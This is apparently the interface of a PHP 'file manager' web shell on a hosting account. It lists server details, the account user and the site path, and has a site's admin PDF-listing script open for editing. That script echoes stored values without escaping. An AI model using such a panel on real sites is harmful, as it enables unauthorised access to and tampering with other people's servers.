Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.24.1.el9_7.x86_64

PHP Version:

8.2.30

User:

u784288082

Directory:

/home/u784288082/domains/drsatheeshraoak.com/public_html/admin/html

Free Space:

9.43 TB

🔧 Quick Actions

✏️ Editing: manage_biharsamanyagyan.php

<?php
require('../include/top.inc.php');
 // Include the library
require('phpqrcode/qrlib.php');

isAdmin();

// Handling operations (status or delete)
if (isset($_GET['type']) && $_GET['type'] != '') {
	$type = get_safe_value($con, $_GET['type']);
	$id = get_safe_value($con, $_GET['id']);

// Status change
	if ($type == 'status') {
		$operation = get_safe_value($con, $_GET['operation']);
		$status = ($operation == 'active') ? '1' : '0';
		$update_status_sql = "UPDATE biharsamanyagyan SET status='$status' WHERE id='$id'";
		mysqli_query($con, $update_status_sql);
	}

// Delete entry and associated PDF
	if ($type == 'delete') {
		// Fetching the file to delete
		$get_pdf_sql = "SELECT pdf_file FROM biharsamanyagyan WHERE id='$id'";
		$result = mysqli_query($con, $get_pdf_sql);
		$pdf_row = mysqli_fetch_assoc($result);
		$pdf_file = "../../biharsamanyagyan/" . $pdf_row['pdf_file'];

// Deleting the file if it exists
		if (file_exists($pdf_file)) {
			unlink($pdf_file); // Delete the file
		}

// Now delete the database record
		$delete_sql = "DELETE FROM biharsamanyagyan WHERE id='$id'";
		mysqli_query($con, $delete_sql);
	}
}

// Fetching all entries
$sql = "SELECT * FROM biharsamanyagyan";
$res = mysqli_query($con, $sql);
?>

<?php 
include("../include/head.inc.php");

?>
	
	
	
	<div class="page-breadcrumb">
		<div class="row">
			<div class="col-12 d-flex no-block align-items-center">
				<h4 class="page-title" style="margin-right:10px;">PDF</h4>
				<span class="add_button"> 
					<a href="biharsamanyagyan.php" class="btn btn-sm btn-primary">Add PDF</a>
				</span>
				<div class="ms-auto text-end">
					<nav aria-label="breadcrumb">
						<ol class="breadcrumb">
							<li class="breadcrumb-item"><a href="index">Home</a></li>
							<li class="breadcrumb-item active" aria-current="page">PDF</li>
						</ol>
					</nav>
				</div>
			</div>
		</div>
	</div>

<div class="container-fluid" style="height: calc(100vh - 120px);">
		
		
		
		<div class="row">
			<div class="col-12">
				<div class="card">
					<div class="card-body">
						<h4 class="box-title">Add PDF</h4>
					</div>
					<div class="card-body--">
						<div class="table-stats order-table ov-h">
							<table class="table">
								<thead>
									<tr>
										<th class="serial">#</th>
										<th>PDF Title</th>
										<th>PDF URL</th>
										<th>QR Code</th>
										<th>PDF File</th>
										<th>Action</th>
									</tr>
								</thead>
								<tbody>
									<?php
									$i = 1;
									while ($row = mysqli_fetch_assoc($res)) { ?>
										<tr>
											<td class="serial"><?php echo $i++ ?></td>
											<td><?php echo $row['name'] ?></td>
                                            <td>
                                              <a target="_blank" href="https://radianbooks.in/biharsamanyagyans/<?php echo $row['url']; ?>">
                                                <?php echo $row['url']; 
                                                 $data = $row['url'];
                                                ?>
                                              </a>
                                            </td>
                                            <td>
                                                <?php
                                                // Data to encode
                                                // $data = "https://radianbooks.in/biharsamanyagyans/" . $row['url'];

// Output file
                                                $file = 'qrcode.png';
                                                
                                                // Generate the QR code and save it as a PNG
                                                QRcode::png($data, $file);
                                                
                                                // Display the generated QR code
                                                echo '<img src="'.$file.'" />';
                                                ?>
                                            </td>
											<td>
											    
												<?php
												$pdf_file = "../../biharsamanyagyan/" . $row['pdf_file'];
												if (file_exists($pdf_file)) {
													echo "<a target='_blank' href='" . $pdf_file . "'>View PDF</a>";
												} else {
													echo "No PDF Uploaded";
												}
												?>
											</td>

<td>
												<?php
												if ($row['status'] == 1) {
													echo "<span class='badge1 badge-complete'><a href='?type=status&operation=deactive&id=" . $row['id'] . "'>Active</a></span>&nbsp;";
												} else {
													echo "<span class='badge1 badge-pending'><a href='?type=status&operation=active&id=" . $row['id'] . "'>Deactive</a></span>&nbsp;";
												}
												echo "<span class='badge1 badge-edit'><a href='biharsamanyagyan.php?id=" . $row['id'] . "'>Edit</a></span>&nbsp;";

echo "<span class='badge1 badge-delete'><a href='?type=delete&id=" . $row['id'] . "'>Delete</a></span>";

?>
											</td>
										</tr>
									<?php } ?>
								</tbody>
							</table>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>

<script src="../assets/libs/jquery/dist/jquery.min.js"></script>

<script src="../assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js"></script>

<script src="../assets/libs/perfect-scrollbar/dist/perfect-scrollbar.jquery.min.js"></script>

<script src="../dist/js/waves.js"></script>

<script src="../dist/js/sidebarmenu.js"></script>

<script src="../dist/js/custom.min.js"></script>

<script src="../assets/extra-libs/DataTables/datatables.min.js"></script>
<script>
	$("#zero_config").DataTable();
</script>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: manage_biharsamanyagyan.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation